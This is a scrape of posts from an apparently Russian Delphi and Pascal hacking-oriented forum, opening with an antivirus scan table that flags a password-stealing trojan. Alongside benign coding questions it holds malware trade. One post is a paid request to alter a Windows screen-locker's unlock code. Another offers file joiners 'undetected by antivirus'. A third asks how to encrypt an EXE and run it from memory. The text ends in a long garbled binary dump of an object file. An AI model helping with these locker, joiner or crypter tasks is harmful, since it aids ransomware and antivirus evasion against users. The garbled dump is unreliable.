BitDefender 7.2 2009.07.08 MemScanrojan.Pws.Ldpinch.SH
CAT-QuickHeal 10.00 2009.07.08 -
ClamAV 0.94.1 2009.07.07 -
Comodo 1538 2009.07.02 -
DrWeb 5.0.0.12182 2009.07.08 VirusConstructor.Xinch
eSafe 7.0.17.0 2009.07.07 -
eTrust-Vet 31.6.6602 2009.07.08 -
F-Prot 4.4.4.56 2009.07.07 -
F-Secure 8.0.14470.0 2009.07.08 -
Fortinet 3.117.0.0 2009.07.03 -
GData 19 2009.07.08 MemScanrojan.Pws.Ldpinch.SH
Ikarus T3.1.1.64.0 2009.07.08 MemScanTrojan.Muldrop.AHP
Jiangmin 11.0.706 2009.07.08 -
K7AntiVirus 7.10.786 2009.07.07 -
Kaspersky 7.0.0.125 2009.07.08 -
McAfee 5669 2009.07.07 -
McAfee+Artemis 5669 2009.07.07 -
McAfee-GW-Edition 6.8.5 2009.07.08 Trojan.Dropper.Delphi.Gen
Microsoft 1.4803 2009.07.08 -
NOD32 4223 2009.07.08 probably unknown NewHeur_PE
Norman 6.01.09 2009.07.07 -
nProtect 2009.1.8.0 2009.07.08 -
Panda 10.0.0.14 2009.07.07 -
PCTools 4.4.2.0 2009.07.07 Trojan.QHosts.G
Prevx 3.0 2009.07.08 -
Rising 21.37.20.00 2009.07.08 -
Sophos 4.43.0 2009.07.08 -
Sunbelt 3.2.1858.2 2009.07.08 Trojan.Agent.AEE
Symantec 1.4.4.12 2009.07.08 -
TheHacker 6.3.4.3.363 2009.07.08 -
TrendMicro 8.950.0.1094 2009.07.08 -
VBA32 3.12.10.7 2009.07.08 -
ViRobot 2009.7.8.1823 2009.07.08 -
VirusBuster 4.6.5.0 2009.07.07 -

вообщем нужно срочно переделать блокиратор винды, исходник на делфи.
Сейчас разблокировка происходит так
Edit1.Text = Code если равны, то разблокируется
а нужно сделать так, если введенное число состоит из семи цифр и последняя цифра равна сумме двух первых, то разблокируется, сразу говорю исходник не даю, Я показываю Вам кусок кода, Вы мне говорите, что нужно поменять, проверяю, если все работает, то плачу мани.

цена:10$
ICQ: 379755805

Вылаживаю архив джоинеров (8 штук) на делфи, все они идут с сорцами и некоторые недетектятся аверами, вообщем начинающим кодерам есть на что посмотреть...
Скачать|Download

Вот столкнулся с проблемой= ( нужно реализовать на делфе сокс 5 сервер и SSL, если у кого-то есть сорцы чего либо по сабжу, поделитесь пожалуйста. Видел сорц афекса сокс 4, а пятый ненашел... Переписать неимею возможности, так как до этого имел дело только с локальным кодингом.

Есть проблема -
Есть сайт и есть делфи, вообщем надо передать параметры пхп скрипту допустим :

http://www.test.com/index.php?login=1&password=2&lang=ru

просто передать их непроблемма:

Code:Copy to clipboard

psvWebBrowser1.Navigate(AdressEdit.text+'index.php?login='+TypeEdit.Text+'&password='+TopicEdit.text+'&lang=ru');

дело в том, что нужно обязательно вместе с этим передать hidden параметр:

Code:Copy to clipboard

form name="Data" action="/modules/db.php" method="post">
<INPUTTYPE="hidden"name="USER_KEY"value="77777">

А вот как это сделать, я пока непонял... Покажите, кто знает

Как в программе можно использовать рисунки (turbo pascal 7.0) ? (jpg и bmp можно и другие)
помогите плиз

Привет всем

Мне нужно руководство, есть два компонента, называемые (Magic) и (OverbyteIcsWinSock), которые я пытаюсь добавить в Delphi 10.4, пока я не смог его добавить, но код, который у меня есть, не обнаруживает эти компоненты, поэтому он описан в красный после компиляции, потому что он не нашел там, ошибка возникает, хотя кажется, что он установлен.

Имя пакета - OverbyteICS.

Отдельный пасник уже пробовал; пример: * .pas, пример: Unidade1.pas, Unidade2.pas

Я установил путь к шрифтам в настройках (Инструменты-> Параметры-> Язык-> Delph-> Библиотека, а затем Путь к библиотеке и Путь навигации). Может ли кто- нибудь здесь дать мне какие-либо предложения.

Даже в этом случае ошибка сохраняется ...

Привет всем на форуме.

Мне нужна помощь, есть компонент под названием (OverbyteIcsWinSock), который я пытаюсь добавить в Delphi, пока я не смогу добавить, однако код, который у меня есть, не обнаруживает этот компонент, по этой причине он описан красным цветом, как в изображение ниже, хотя кажется, что это установлено.
Может ли кто-нибудь здесь дать мне какие-либо предложения

Спасибо

elmago777

Доброго времени суток!

Скачал архив с php интерпертатором, с официального сайта.

Передаю через командную строку имя php скрипта через delphi,
для выполнения, скрипт выполняется. Передаю get параметры, все ок.

Не могу понять, как отправлять и получать post параметры. Помогите пожалуйста.

Code:Copy to clipboard

var
  s: string;
begin
  s := Path('php\php.exe ');
  s := s + Path('index.php');
  s := s + //передаем параметры get
  TextToWebBrowser(WebBrowser1, GetDosOutput(s));
end.

function Path(s: string): string;
begin
  Result := PathAppend(ExtractFilePath(paramstr(0)), s);
end; //Path

function PathAppend(path, str: string): string;
begin
  if path[Length(path)] <> '\' then path := path + '\';
  result := path + str;
end; //PathAppend 

procedure TextToWebBrowser(WB: TWebBrowser; Text: string);
var             
  V: OleVariant;
  Document: IHTMLDocument2;
begin
   if WB.Document = nil then WB.Navigate('about:blank');
   while WB.Document = nil do Application.ProcessMessages;
   Document := WB.Document as IHtmlDocument2;
   V := VarArrayCreate([0, 0], varVariant);
   V[0] := Text;
   Document.Write(PSafeArray(TVarData(v).VArray));
   Document.Close;
end; //TextToWebBrowser

function GetDosOutput(DosApp: String): string;
const
  ReadBuffer = 2400;
var
  Buffer: PChar;
  BytesRead: DWord;
  Apprunning: DWord;     
  start: TStartUpInfo;   
  ReadPipe, WritePipe: THandle; 
  Security: TSecurityAttributes;
  ProcessInfo: TProcessInformation;
begin
  result := '';
 
  with Security do
  begin
    nlength := SizeOf(TSecurityAttributes);
    binherithandle := true;
    lpsecuritydescriptor := nil;
  end;

  if Createpipe(ReadPipe, WritePipe, @Security, 0) then
  begin
    Buffer  := AllocMem(ReadBuffer + 1);
    FillChar(Start,Sizeof(Start),#0);
    start.cb          := SizeOf(start);
    start.hStdOutput  := WritePipe;
    start.hStdInput   := ReadPipe;
    start.dwFlags     := STARTF_USESTDHANDLES +
                         STARTF_USESHOWWINDOW;
    start.wShowWindow := SW_HIDE;

    if CreateProcess(nil,
          PChar(DosApp),
          @Security,
          @Security,
          true,
          NORMAL_PRIORITY_CLASS,
          nil,
          nil,
          start,
          ProcessInfo)
    then
    begin
      repeat
        Apprunning := WaitForSingleObject(ProcessInfo.hProcess, 100);
        Application.ProcessMessages;
      until (Apprunning <> WAIT_TIMEOUT);
      repeat
        BytesRead := 0;
        ReadFile(ReadPipe, Buffer[0], ReadBuffer, BytesRead, nil);
        Buffer[BytesRead]:= #0;
       //OemToAnsi(Buffer,Buffer);
        result := result + String(Buffer);
      until (BytesRead < ReadBuffer);
    end;
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ReadPipe);
    CloseHandle(WritePipe);   
    FreeMem(Buffer);
  end;
end;

Недавно нужно было в коде искать массив байт, определить граници и работать с ними. Начал изобретать велосипед, а потом наткнулся на такую функу: (может кому приготится. автор Slayer616)

Code:Copy to clipboard

function FindByteArrayinByteArray(mFirstArr:TByteArray;mSecondArr:array of Byte;dwLen:Integer; sStartPos:integer):Integer;
var
  i,d, tmp, count:integer;
begin
  Result := 0;
  for i := sStartPos to Length(mFirstArr) do begin
    if mFirstArr[i] = mSecondArr[0] then begin
      count := 1;
      for d := 1 to dwLen do begin
        tmp := i + d;
        if mFirstArr[tmp] <> mSecondArr[d] then begin
          break;
        end else begin
          count := count + 1;
          if count = dwLen then begin
            Result := i;
            Exit;
          end;
        end;
      end;
    end;
  end;
end;

юзается так:

Code:Copy to clipboard

iStartpos := FindByteArrayinByteArray(arrFile,arrMarker,dwProcS ize,iStartpos);
iEndPos := FindByteArrayinByteArray(arrFile,arrEndMarker,dwEn dSize,iStartPos);
if (iStartPos = 0) or (iEndPos = 0) then break;

например чтобы найти и работать с массивом байт функции ищите её так. удачного кодинга!

Надеюсь кто поможет, т.к. нечего не получаеться=)))
Пытался использовать ShockwaveFlash, неполучилось=). Файл не локальный и опыта в этом деле совсем нет...
Буду использовать другой сторонний компонент если посоветуете...
http://www.corbina.tv Видео будет отсюда...

Всем доброго времени суток...
Вопрос такой.. мне нужно загрузить для чтения EXE файл и зашифровать его ну скажем базой64 а потом при определенных условиях расшифровать его обратно ну и скажем записать в какой нить файл с именем file.exe или сразу же выгружать в память и там исполнять (Сори если что то не так написал).
При этом работоспособность файла должна сохранится... подскажите как сделать данную хрень.

Где взять сферу разработки делфи? Дайте ссылку!

Народ очень глупый вопрос, но я заплыл в тупик...
Условия...:
st:array [0..3] of string ;
...
st[0]:='Test1';
st[1]:='Test2';
st[2]:='Test3';
st[3]:='Test4';

Как сделать так, что бы при нажатии на кнопку, случайно из указанных значений свойство label1.caption присваивалось st[]...?

Добрый день! Ребята подскажите как выглядит классическая структура программы Turbo Pascal, и пожалуйста с примерами и т.д.
З.Ы. Юзал поиск ничего дельного не нашел

Собственно как считывать и записывать обложки в mp3?

Привет всем.

С недавних пор я решил заняться благотворительностью (решительно нечего делать) и записал пару уроков по Delphi. Уроки для начинающих. Сам я не супер- гуру, но и рассказать тоже есть что Урок представляет собой видеоматериал, наглядное пособие. Изначально они записывались для другого форума, на лирическое вступление не обращайте внимания.

В первом уроке я немного расскажу\покажу среду разработки, поведаю об основных частях программы, а также затрону основные типы данных.
Внимание: в первом уроке небольшой ляп, размерность типа Integer - от -2147483648 до 2147483648.

Забираем тут: http://www.sendspace.com/file/cjpu7a

Жду отзывов, конструктивной критики и предложений.

Enjoy! :punk:

Может кто-нибудь может помоч накалякать программу в паскале, которая будет выводить на экран такую матрицу:
0000000000
9000000000
8900000000
7890000000
6789000000
5678900000
4567890000
3456789000
2345678900
1234567890

Заранее спасибо!

Помогите реализовать, выложите простейший пример работы с php скриптом..
На примере ShowMessage, текст сообщения брать со скрипта... заранее спасибо.

Сразу скажу, уже много статей и примеров написанны по работе с чужими окнами

Как изменить заголовок чужого окна
Как изменить Caption кнопки в другом приложении
как изменить текст в Edit в чужом окне

Click to expand...

я разобрался с общей техникой и приемами работы с чужими окнами, но у меня не как не получаеться уже в открытом виндовском проводнике изменить директорию. Точно незнаю что искать..
Сначала пытался найти адрессную строчку Edit и зменить text:=c:\windows /например/ и потом нажать на кнопке переход. Но он упорно отказывался находиться.
помогите пожалуйсто. Борюсь с этой проблеммой не первую неделю...

Господа, помогите составить регулярное выражение. Нужно в тексте найти строку, длинной 8-9 символов, содержащую маленькие латинские буквы и цифры. Но, строка обязательно должна содержать и буквы, и цифры, т.е. если строка будет полностью из букв, то она не подходит.
Написал такую регулярку, надо подправить, чтобы подходила по условиям обозначенным выше:
[a-z0-9]{8,9}
должно получиться типа этого:
[([a-z0-9][a-z]+[a-z0-9][0-9]+[a-z0-9])([a-z0-9][0-9]+[a-z0-9][a-z]+[a-z0-9])]{8,9}
только где-то здесь ошибочка

Доброго времени суток уважаемые программисты не могли бы вы подсказать, как я могу получить интерфейс IWebBrowser в FireFox. Слышал, что он использует собственную COM модель и т.д. хотелось вообще услышать полностью описание этого до момента получения iWebBrowser открытой копии FireFox. Готов заплатить за активное участие немного шекелей.
Все это хотелось бы реализовать на Delphi, если есть такие умельцы пишите в ICQ: 5 8 1 3 3 2 2 2 2 так как на форумы захожу редко.

WinDoom mp3 player v 0.1
плеер mp3 файлов с приятным интерфейсом.
писался на дельфи компоненты ищите в гуглях...
выкладываю отдельно бинарик и соурс
прогу писал давно... когда еще учился в шараге
решил выложить может кому-нибудь будет полезно

нашел даже описание в блокноте
писал давно так что строго не судить

Автор программы : demien

Программа для проигрывания mp3 файлов. Имеет симпотичный интерфейс с полным изменение цветовой гаммы и шрифтов. Имеет функцию работы с треем, практически не тратит системные ресурсы.

Известные ошибки в программе :
[x] Не переходит на следующую песню, начинает проигрывать по второму кругу.
[x] Не доработан trackbar, т.е. нельзя перематывать песню.
[x] Во время проигрывания песни, песню нельзя перемешать.

Приемущества программы :
[x] Не требовательна к ресурсам
[x] Имеет симпотичный и легко настраеваемый интерфейс
[x] Возможность управления с трея (панели задач)
[x] Полностью подвергается изменению шрифтов и цветовой гамме

Что ещё будет добавленно и исправленно в следующих версиях :
[x] Переход на следующую песню
[x] Поддержка смены скина
[x] Будет изменено ядро скина на suiSkin на DynamicSkinForm
[x] Появится перемотка песни
[x] Уменьшится размер программы
[x] Кардинально изменится интерфейс
[x] Появится всплывающее окно с информацией о песни как в винампе
[x] Возможность поддержки плейлистов (Сохранение, загрузка)
[x] Появится MediaLiblary
[x] Будет осушествлена возможность поиска по плейлисту
[x] Загрузка splashform рисунка будет производиться непосредственно с самого рисунка как ресурка, а не будет встроенно в программу. Это намного уменьшит размер программы.
[x] Будут добавленны новые настройки
[x] автозагрузка программы
[x] смена между режимами свернуть в трей или в панель окон
[x] Появится возможность мини-режим
[x] Будет переработанна фильтрация песен в плейлисте, т.е. по дате, по названию и т.д.
[x] Возможность прозрачности окна программы [Для winXP, Vista]
[x] Будет изменина главная иконка программы
[x] Изменится окно загрузки программы
[x] Будет вставленна функция между "Отображать окно загрузки при старте плеера" или нет
[x] Будет изменено ядро программы, т.е. будет переработанны основные функции программы проигрывания файлов. Это позволит избежать лишние нежелательные глюки.
[x] Появится поддержка плагинов. и будет выложенно SDK руководство на Delphi и на С
[x] Поддержка управления будильника, и выключения компьютера через указонный период времени
[x] Наш плеер станет проигрывателем не отлько для mp3 файлов но и для таких как : wav, wma и возможно многие другие
[x] Будет переработан вывод инфы о композиции

Возможно :
[x] Возможно появится эквалайзер
[x] Возможно появится визуализация (начнется разработка)
[x] Возможно будет изменены значки проигрываемых файлов
[x] Возможно будет введена опция из контекстного меню файла mp3 добавить его в плейлист WinDoom'a
[x] Возможно внедрение расширенных настроек программы
[x] Возможно добавление функции быстрой записи проигрываемых mp3 на диск прям из программы

Click to expand...

бинарик: _http://www.sendspace.com/file/0s74yv
соурс: _http://www.sendspace.com/file/l9tjt0
пасс: #@$@#$!@$!@$

Пример создания формы с XM музыкой. (как в забугорных крэках)

Этот пример будет проигрывать Fmod'ом FM и XM файлы...
Этот вариант немного лучше проигрывания мид файла, как показал JAW (тут) (я кстати года два назад тоже начинал с мида)
в забугорном инете вы найдете огромное количество композиций..
вот тут пример проги (билдера, не забудьте, что для его работы нужен еще stub.exe , выкладываю чисто для примера... файл старенький..

copy&past и сохраните файлы соответственно uFMOD.pas и ufmod.obj.
Вот эти файлы в рар ахриве

ну да приступим...

uFMOD.pas

Code:Copy to clipboard

unit uFMOD;
interface
function uFMOD_PlaySong(lpXM:Pointer;param,fdwSong:LongWord):Pointer; stdcall; external;
procedure uFMOD_StopSong;
procedure uFMOD_Jump2Pattern(pat:LongWord); stdcall; external;
procedure uFMOD_Rewind;
procedure uFMOD_Pause; external;
procedure uFMOD_Resume; external;
function uFMOD_GetStats:LongWord; stdcall; external;
function uFMOD_GetRowOrder:LongWord; stdcall; external;
function uFMOD_GetTime:LongWord; stdcall; external;
function uFMOD_GetTitle:PChar; stdcall; external;
procedure uFMOD_SetVolume(vol:LongWord); stdcall; external;

const
	XM_RESOURCE       = 0;
	XM_MEMORY         = 1;
	XM_FILE           = 2;
	XM_NOLOOP         = 8;
	XM_SUSPENDED      = 16;
  uFMOD_MIN_VOL     = 0;
  uFMOD_MAX_VOL     = 25;
  uFMOD_DEFAULT_VOL = 25;

implementation

function WaitForSingleObject(hObject,dwTimeout:LongInt):LongInt; stdcall; external 'kernel32.dll';
function CloseHandle(hObject:LongInt):LongInt; stdcall; external 'kernel32.dll';
function CreateThread(lpThreadAttributes:Pointer;dwStackSize:LongInt;lpStartAddress,lpParameter:Pointer;dwCreationFlags:LongInt;lpThreadId:Pointer):LongInt; stdcall; external 'kernel32.dll';
function SetThreadPriority(hThread,nPriority:LongInt):LongInt; stdcall; external 'kernel32.dll';
function HeapAlloc(hHeap,dwFlags,dwBytes:LongInt):LongInt; stdcall; external 'kernel32.dll';
function HeapCreate(flOptions,dwInitialSize,dwMaximumSize:LongInt):LongInt; stdcall; external 'kernel32.dll';
function HeapDestroy(hHeap:LongInt):LongInt; stdcall; external 'kernel32.dll';
procedure Sleep(cMillis:LongInt); stdcall; external 'kernel32.dll';
function FindResourceA(hModule:LongInt;lpName,lpType:PChar):LongInt; stdcall; external 'kernel32.dll';
function LoadResource(hModule,hrsrc:LongInt):LongInt; stdcall; external 'kernel32.dll';
function SizeofResource(hModule,hrsrc:LongInt):LongInt; stdcall; external 'kernel32.dll';
function CreateFileA(lpFileName:PChar;dwDesiredAccess,dwShareMode:LongInt;lpSecurityAttributes:Pointer;dwCreationDistribution,dwFlagsAndAttributes,hTemplateFile:LongInt):LongInt; stdcall; external 'kernel32.dll';
function CreateFileW(lpFileName:PWideChar;dwDesiredAccess,dwShareMode:LongInt;lpSecurityAttributes:Pointer;dwCreationDistribution,dwFlagsAndAttributes,hTemplateFile:LongInt):LongInt; stdcall; external 'kernel32.dll';
function ReadFile(hFile:LongInt;lpBuffer:Pointer;nNumberOfBytesToRead:LongInt;lpNumberOfBytesRead,lpOverlapped:Pointer):LongInt; stdcall; external 'kernel32.dll';
function SetFilePointer(hFile,lDistanceToMove:LongInt;lpDistanceToMoveHigh:Pointer;dwMoveMethod:LongInt):LongInt; stdcall; external 'kernel32.dll';

{ *** Import: winmm *** }
function waveOutClose(hwo:LongInt):LongInt; stdcall; external 'winmm.dll';
function waveOutGetPosition(hwo:LongInt;pmmt:Pointer;cbmmt:LongInt):LongInt; stdcall; external 'winmm.dll';
function waveOutOpen(phwo:Pointer;uDeviceID:LongWord;pwfx:Pointer;dwCallback,dwCallbackInstance,fdwOpen:LongWord):LongInt; stdcall; external 'winmm.dll';
function waveOutPrepareHeader(hwo:LongInt;pwh:Pointer;cbwh:LongWord):LongInt; stdcall; external 'winmm.dll';
function waveOutReset(hwo:LongInt):LongInt; stdcall; external 'winmm.dll';
function waveOutUnprepareHeader(hwo:LongInt;pwh:Pointer;cbwh:LongWord):LongInt; stdcall; external 'winmm.dll';
function waveOutWrite(hwo:LongInt;pwh:Pointer;cbwh:LongWord):LongInt; stdcall; external 'winmm.dll';

{$L ufmod.obj}

procedure uFMOD_StopSong;
var i:Pointer;
begin
	i:=uFMOD_PlaySong(nil,0,0)
end;

procedure uFMOD_Rewind;
begin
	uFMOD_Jump2Pattern(0)
end;
end.

ufmod.obj -нужный файл для работы первого

Code:Copy to clipboard

Ђ  src\nasm.asm¤–  _TEXTCODE_DATADATA_BSSBSS°˜ ©  

ґ˜ ©ч

Ґ™  in"
 
Xђ  uFMOD_Jump2Pattern0  mђ  uFMOD_SetVolumeЃ  *ђ  uFMOD_Pauseљ  їђ  uFMOD_Resumeћ  Fђ  uFMOD_GetStats¦  |ђ  uFMOD_GetRowOrderЄ  Mђ  
uFMOD_GetTimeє  кђ  uFMOD_GetTitleя  0ђ  uFMOD_PlaySong Њ<
WaitForSingleObject CloseHandle  CreateThread SetThreadPriority  HeapAlloc 
HeapCreate HeapDestroy Sleep  waveOutClose waveOutGetPosition waveOutOpen waveOutPrepareHeader  waveOutReset waveOutUnprepareHeader  waveOutWrite CreateFileA ReadFile SetFilePointer 
FindResourceA  LoadResource SizeofResource Ћ*ю  
  Ђ»   о   
  Ц   
  Ц   
  ,
  q
  п
  ‹D$№$   ·Аѓa f;AТ!Р‰
В 
 ‚ ¤ П 
H
ќ
Ћ7j+
НIЉ' z(х2'@ГP*e ЂZXѓшvjXf‹„ M   Ј„!  яв°
л1Аўq!  ГjлjYєё!
 ‹
К‹ВГЎј!
 ГPj	я5\
  и    …АuZ[ЙГWV—ѕt!  *‰С9В|+‘…Й~*‰VьЉ€@GIuч^_ё@"
 Гj
VЌuмѓf я6и    Pя6Pя6и    ‰и    ‰FГj hЂ   jj j
h   ЂVи    jяj
єt!  ‰CЏBЏГ1ТЎl
  RTVWPRRQPи    и    ГSVWU—…Т]_^[ГЅx!  ‹u +ux№    )с~ЃЖp
  )Кy
С
M у¤…Т~Р‰СM Ѓб аяя+M ~)К‰ОR‹E 
M ‘и‹яяя
чZ‹M WЃб аяяR‰Mѕ    їp
  иkяяяZ_л‡яsи    єx!  t…Аx;Bьw‰Гик   XZЏt!  Y…ТPtмSVWU»d
  Ѕ€!  1А‰EрцБ
ѕ   uцБЌvuЌvмцБ•EиЂб€Mй‰пҐҐҐ‰Ц9EьufЗEь ЂPPPPPPh    jяSи    и    …А‰Cшt‰uфиы  —яU…яtjѕ˜!
 ЗF  
 ѓNяjЗ˜!  ЏFj Vя3и    1яиы   9{uц‰{j Vя3и    …Аu(UWWhh  WWи    …А‰CьtjPи    “]_^[ГSVWUЅ`
  ‹E …Аt‰EPUPи    и    1Ы‰] ‹}‰]…яt‰]Wj h˜!
 WWи    и    и    ‹Eь…Аt‰]ьPи    “№#   їё!
 у«]_^[ГUVЅP
  jЏE jUяuи    ‹uБоѓжjи    ѓ} t^]В 9utРЂ=q!   uёё!
 ю Ђ8|Ж  h€  №   SVWUїp
  1АWWѕ$   у«8q!  •…в   Ѕ   ‹^д…Ы…€   9^м‹NЬub}ќ
дTдTдTдTд Tд$Tд(Tд,Tд5TдЏTд”TдЎTд®Tд»TдЕT¤К
дЪTе TҐ
Ґ
Ґ$
Ґ@
еITеYTҐg
Ґl
еЂTе—TевTҐу
ешTжTж$Tж)Tж6TжmT¦u
¦z
ж–Tж©T¦¶
¦П
жЫT¦в
¦с
з T§

§
з1T§8

§=
§B
	§R
з]TзkT§{

§‹
зЎTз©TзёTзЖTзПTзЧTB*юъK‹‹F‰…Т‰^|‰Vф…А|‰Fши_
  ѓ~яuC‹Fш@f;|0‹Vф·NB1А9К| 8p!  tЅ`
  [ЏEйРюяя·V9КЙ!К‰‰Fли   ‹Fр‹^яFмFь9Fм|ѓfь ѓfм ‰п9ыs‰ЯZ)эЌъPи:
  Ќї™Ба№А  чс
ј!
 )ы…н…>яяя‰^д‹h
  ЌХД!
 ‹NшNт‰
X^1Ы‹FшБаЌё˜!  №   ђђђ*W™‰ЗV1РѕА?  )Р1ТчцЃъа  ^ѓШя= Ђ  ТчТ	РБя%я  ч%„!  БиСЙТ!В
ХСБТчТ!В
У1ш)ш_If«u«Ўh
  @ѓш|1АЈh
  Бн
Бгf‰л‰ЕА!
 ]_^[Г  %1<GQZbjpuz}~~}zupjbZQG<1%     !"$%&')*+,-./01234567889:;;<<==>>>???@@@@@«ЄЄ=  VA«ЄЄ: ¬F‹NSUV‹q,…ц„  RR‹YWЂy> ‹V‹A0uV)Ъw‹)ЪчЪчШЪчЪ
Ъ€л
  ‹i¬Р‹YБк¬ЭuЅиґ
 ЗA ќ6 чх1нчЪи„;
  »€!  9ш—Cкs
—·A<‹Q‹iБе	Х…А‰{рt;i t0‰i Бвf1н+Q41АБъ‰Q$t°ЂБн	+i8Бэ‰i(t°Ђ…Аf‰A<t9Зv‰З‹A$‰‹A(‰C‰{м‹YЌ\^VЂy> ‹t$‹Q‹itчЭчТѓЪяђWRї;їC‹Q0)шСкчкБз¤В
ъ’‰Зчi8¬РСВѓв

РСш
—чi4¬РСВѓв

Р‹=Њ!  Сш
F‹€!  
y8
Q4Z1А
i0_РѓЖOЌCu˜‹|$ ‰t$)чБп^ЌF)ГСл‰Y·Q<…Тt&Ўt!  ™f)A<u+x!  ‰Q$чШ‰Q(Т…Ч…sюяя1Т8r!  u{¶FHu‹F‹n
и9Гv)Г“чх)Х)лТчТ!УлLHчШѓТя!Q0!Q!Q,tF8A>t‹FчЭHѓн
юI>Ш‹^
Г;F|‹FFЌPяШчЭ“ѓн
УюA>;^|Н‰i0…я‰Y…оэяя_XZ3ќA д=TдDTд¤Tд·TдѕTдЦTеTе8TеETеUTж:TзTзTзOTз\TзvT“*юфѓБ@^;NЊМэяя][Гє„   W)ВV…АRѕA
‰Чt™СвBЫ$Ш
ё  ЩАЩьЬйЩЙЩрЩиЮБЩэЭЩШ
ј  Ы$…цYt	)ЧW1ц‰ПлО)щ…ТyчЩчйѓв
РБш^
ш_Г¶NqЉFz‰КVrѓв?ѓа€VqtББТѓтѓК
Hu!БкБЙ
КчЪл‰ИѓбБ趑X  А1В)ВѕFsчкБшГи«яяяСш‰FЂ
ГVѓЖи™яяя^‰FЂГЂ
‹F‹NZ¶VpБв)И
Рл)Р|
Б‰NГWSU‰еЌ№Р   1Ы‹W5‰UдЉO9¶W1<ЌF=uѓГф‹G2‰EдЉO8¶W0ЌF<ѓЗР80ujQPЌL*ЌD.PЌDNPЌDJЌ\&P‹
9РSЌ‹   ·‡9uyцEьt¶Eж9
u¶Eе‰
·‡‰‹
‰EЬЌ‡J·9‹x·@‰}а‹Uр‰u‹Eшю лOБа)З—f1АцEьt¶Uд9UЬu8F:t2я
‹Mм‰9‹}ф·Mаѓ' )Щt™чщ‰л
‹Eф‹‹Eм
ZXY‹ яБш‰
Й[_Гѓкrѓъ@w‰V
‰РѓвБиѓиt,Ht+Ht&Ht%ѓиv$Ht&Ht*Ht)HuАвt€VpЂ&ч‹FR‰FZГчЪ
V
Г€TsГБв‰V’чЪ
VЂГЂf‹Vw8тv‹N
чЩ‰Nvy8тvІяB€VwГ…ЙёАФ
 t™чсЈ<   ГяU ё    U‰ЖєP
  яU‰е1Й‹F<QЌ@<иLчяяѓДЊSjЌVї@"
 YЉB< |
ЄIuх‘«·N@·^FчЫ‰чТ!СчЫI¶Т‰]ф9С‡Њ  ЉVP9Вv
’FIyф‰Eш@‰ю9Шs
“¶NHiЙ
  f‰FFЌ<Б‰ш)П¶NDѓщ@~1Й‰N0‰ЛБг„G  ‰MрЌXи€хяяЌ‰F4‰V8»Ђ   Ж@
‰B
Ш
ЪяMрuр‰
Ч·NN‰~‰Чияяя·NLj@ЏF‰N‹Eфj	ЌEјZяЊ!  ‹EБ‹N0=  
 ‰·А‚љ   =

  Т!Р„М  чб‰EрЌЂихяя‰G“V‹5Њ!  1ТЌEмBяЦ¶UмцВЂtAѓв
t‰ШяЦцEмt1ТЌC
BяЦцEмt^ќ! д-TдETд*TжЏTж˜TжБTз‹TзИT*юо1ТЌCBяЦцEмt1ТЌCBяЦцEмt1ТЌCBл…Тt€ЌC
ІяЦ^CЉVH8vЖ ѓГяMрu†яEь‹EфѓЗ;Eь‡2яяя‹Mш9Бr+‹‹F0VЌ4ЛЌ<ЂБзяMш‰шЖ@иXфяя‰Fѓо‹Eф9Eшsе^1А‰F‰FЌ~ «««ЉFH„А„г
  €Eь‹^j!ЌE€ZяЊ!  ‹u€ЉUЈѓо!„Тt%1Аѓ}Ґ)ЙчС	КЂъ‡°
  єР   ЌC@)ЦяЊ!  1Й–AихяяЌ“
  1Аf‹
СбЂzтf‰
s€BъЂzуs€Bы8EЈ„\
  ‰Eш‰]фЌEИ‹UҐяЊ!  ‹uМ‹}РЉEЦ‰ББи$
€EЦtСmИСоСп‹EИ9р‰ЖЌ>)Вx)Чѓбt…яu1ц1Й‰З‰uМ‰}Р€MЪЌD иWуяя‹Mф‰
яEшѓEфj—‹EшY:EЈЌuИуҐr€‰Mш‹4‹1А‹ЉnЉNчВ  Ая…Т   ѓЖЂэ*uOB‰чСъSRЌR
ЧЌPЌEИ‰ГяЊ!  Z‰шяЊ!  ‰т1Й9ъ}!Љ€Д$ЧАмG Е€аЧ иБа	Б‰
БйѓВлЫ[л8Ув‰ряЊ!  ‹NмЌ<1Ќ1Т8VъuHOHЉ79шf‰wф1Т‰рff‰IЌ@фx$‹Fф‹Nр
ИЂ~юЌFuf‹Hюл
Ђ~ю
uf‹Nf‰яEш‹Mш:MЈ‚%яяяЃГ
  юMь…#юяя@[ЙГ‹FфU¶\0,‰е‹FшЌЩ‹N€mцчбЌ<Ђ‹SV…ТtЪ
ЧѓмБбtРV‹vSFF
сQЉ_ЉGѓг<t<”EфЉO
tюЙx€N
ЉIЂщ`s€Nю¶N
‹EьiЙ
  Hа¶Fю™ЉD@<‰Mдs‹Ѓ…ТuєX"
 ‰Uш‹N‹F
‰Mи‹N‰Eм‰MрЉG<tЂ~gu‹N
N
€Fg1Й‰N‰NЖЉIЂщ`sDѕB
Б‹Eь€Nfц@&
t‹Eшѕ@
™Бб)РСшЌ„
 вяячШл	‘‹MшиЊшяя‰FRЂ}ф u‰FЂЂ
 tD‹EшWj	¶H‰N
Y¶@‰Fj@1АЏFBj Ќ~ЏFNЗFF  
 у«ЉNz_ЂщO}€FtцБu€FqЂ¶WиъяяЂ?asЂuюF:Tќ д°TдвTе(TеТTеЫTжTзT*юи‹MдцЃ
  
t	°иэшяял
Ђ~: tѓfB ‹MдцЃ	
  
t°иЮшяяЂ~: ‹Mдt·Ѓ
  )FFyѓfF ¶GH¶W< w	…Тя…g  яuдяuши«  ѓоЂYѓЗ9ОЊKюяя[^ЙГл  л  с    ш    "  I  2  \  b  R  z    —  i  Є  f  f  f  і  f  f  f  4  f  =  f  I  f  f  f  Y  t€VhГt€Vpлt€Vl‹FRЂ&ц‰FZГБкt€Vr…Ыt€^s1Аt€Vlй“чяяБкt€Vu…Ыt€^vГБвt‰VV‹Mш‹QQ‹FV9Р‹Nr1АЂ&ч‰A‰A0‰AГt€VlГ‹Eьѓ` ‰юEц·H9|ѓ  ГБкЌ’ЌS‹Eь‰HЂ}ц uк‹HфA‰лЧЂъ ‰Сs‹Eь‰HрГйМшяяt‹Mь€Q!ГцЃ
  
t3Ќ™¤   ¶‰ 
  1Аf;v9Иt@f;ѓwх‰FI9ИќF<|	·D‹ю‰FBГ‰V‹Lѓь‰К·Й‰Mм‹ѓ‰И·Йf1Т+MмRt	f1А)Р™чщ‘‰N"‹F+EмчйZ
Р‰F>Би‰FBяFГt€VmЂГt	Бк€Юf‰VnГt	Бк€Юf‰VxйьчяяБкJu…Ыt€^k¶Fk)FJu…Ыt€^j¶Fj
FГБкJЂъ
